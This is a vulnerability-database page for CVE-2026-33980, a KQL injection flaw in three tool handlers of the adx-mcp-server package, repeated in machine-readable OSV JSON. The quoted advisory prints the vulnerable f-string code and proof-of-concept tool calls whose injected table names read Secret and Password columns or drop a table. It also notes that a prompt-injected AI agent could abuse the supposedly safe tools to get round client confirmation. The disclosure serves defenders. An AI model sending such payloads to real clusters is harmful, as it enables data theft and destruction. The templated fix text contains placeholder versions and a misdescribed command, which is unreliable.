Vulnerabilities in pkg:pypi/adx-mcp-server

PACKAGE
Advisory Identifier: GHSA-vphc-468g-8rfp
Advisory Summary

CVE-2026-33980 is a HIGH (CVSS 8.3) kql injection vulnerability (CWE-943: Improper Neutralization of Special Elements in Data Query Logic) affecting Azure Data Explorer MCP Server libraries in the PyPI ecosystem. The issue involves kql injection in multiple tools allows mcp client to execute arbitrary kusto queries. Remediation is available in the latest vendor maintenance releases.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/adx-mcp-server

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/adx-mcp-server. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-vphc-468g-8rfp CVE-2026-33980 HIGH Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries

CVE-2026-33980 at a Glance

CVE Identifier CVE-2026-33980
GHSA Identifier GHSA-vphc-468g-8rfp
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Affected Product Azure Data Explorer MCP Server
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-33980

To remediate this vulnerability, upgrade all affected Azure Data Explorer MCP Server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

adx-mcp-server fixed: Latest secure release
pip install adx-mcp-server>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show adx-mcp-server

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-33980, inspect your installed packages using pip:

pip show adx-mcp-server

Analyze the terminal output to locate any version of Azure Data Explorer MCP Server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show adx-mcp-server command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-943: Improper Neutralization of Special Elements in Data Query Logic, where the product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. In Azure Data Explorer MCP Server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. ### Details The MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings: **Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)): ```python @mcp.tool(...) async def get_table_schema(table_name: str) -> List[Dict[str, Any]]: client = get_kusto_client() query = f"{table_name} | getschema" # <-- KQL injection result_set = client.execute(config.database, query) ``` ```python @mcp.tool(...) async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]: client = get_kusto_client() query = f"{table_name} | sample {sample_size}" # <-- KQL injection result_set = client.execute(config.database, query) ``` ```python @mcp.tool(...) async def get_table_details(table_name: str) -> List[Dict[str, Any]]: client = get_kusto_client() query = f".show table {table_name} details" # <-- KQL injection result_set = client.execute(config.database, query) ``` KQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject: - `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables - Newline-separated management commands like `.drop table important_data` via `get_table_details` - Arbitrary KQL analytics queries via any of the three tools **Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary. ### PoC ```python # PoC: KQL Injection via get_table_schema tool # The table_name parameter is injected into: f"{table_name} | getschema" import json # MCP tool call that exfiltrates data from a sensitive table tool_call = { "name": "get_table_schema", "arguments": { "table_name": "sensitive_data | project Secret, Password | take 100 //" } } print(json.dumps(tool_call, indent=2)) # Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema" # The // comments out "| getschema", executing an arbitrary data query instead # Destructive example via get_table_details: tool_call_destructive = { "name": "get_table_details", "arguments": { "table_name": "users details\n.drop table critical_data" } } # Resulting KQL: # .show table users details # .drop table critical_data details ```

CVE-2026-33980 Affected Azure Data Explorer MCP Server Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
adx-mcp-server
PyPI
≤ 1.1.0

References

Frequently Asked Questions

What is CVE-2026-33980?
CVE-2026-33980 is a security vulnerability in Azure Data Explorer MCP Server involving KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries under CWE-943: Improper Neutralization of Special Elements in Data Query Logic.
Which Azure Data Explorer MCP Server versions are affected?
Affected versions include releases prior to current release patches across affected packages: adx-mcp-server.
What version fixes CVE-2026-33980?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is adx-mcp-server affected?
Yes, adx-mcp-server is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33980?
CVE-2026-33980 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-33980?
CVE-2026-33980 is classified under CWE-943: Improper Neutralization of Special Elements in Data Query Logic (The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.).
How can I check PyPI dependencies for CVE-2026-33980?
Run the dependency tree command: 'pip show adx-mcp-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vphc-468g-8rfp",
  "modified" : "2026-03-30T20:17:30Z",
  "published" : "2026-03-27T19:08:09Z",
  "aliases" : [ "CVE-2026-33980" ],
  "summary" : "Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries",
  "details" : "### Summary\n\nadx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.\n\n### Details\n\nThe MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings:\n\n**Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):\n\n```python\n@mcp.tool(...)\nasync def get_table_schema(table_name: str) -> List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | getschema\"          # <-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | sample {sample_size}\"  # <-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def get_table_details(table_name: str) -> List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\".show table {table_name} details\"     # <-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\nKQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:\n- `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables\n- Newline-separated management commands like `.drop table important_data` via `get_table_details`\n- Arbitrary KQL analytics queries via any of the three tools\n\n**Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to \"safe\" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.\n\n### PoC\n\n```python\n# PoC: KQL Injection via get_table_schema tool\n# The table_name parameter is injected into: f\"{table_name} | getschema\"\n\nimport json\n\n# MCP tool call that exfiltrates data from a sensitive table\ntool_call = {\n    \"name\": \"get_table_schema\",\n    \"arguments\": {\n        \"table_name\": \"sensitive_data | project Secret, Password | take 100 //\"\n    }\n}\nprint(json.dumps(tool_call, indent=2))\n\n# Resulting KQL: \"sensitive_data | project Secret, Password | take 100 // | getschema\"\n# The // comments out \"| getschema\", executing an arbitrary data query instead\n\n# Destructive example via get_table_details:\ntool_call_destructive = {\n    \"name\": \"get_table_details\",\n    \"arguments\": {\n        \"table_name\": \"users details\\n.drop table critical_data\"\n    }\n}\n# Resulting KQL:\n#   .show table users details\n#   .drop table critical_data details\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "adx-mcp-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33980"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pab1it0/adx-mcp-server/commit/0abe0ee55279e111281076393e5e966335fffd30"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pab1it0/adx-mcp-server"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-943" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T19:08:09Z",
    "nvd_published_at" : "2026-03-27T22:16:22Z"
  }
}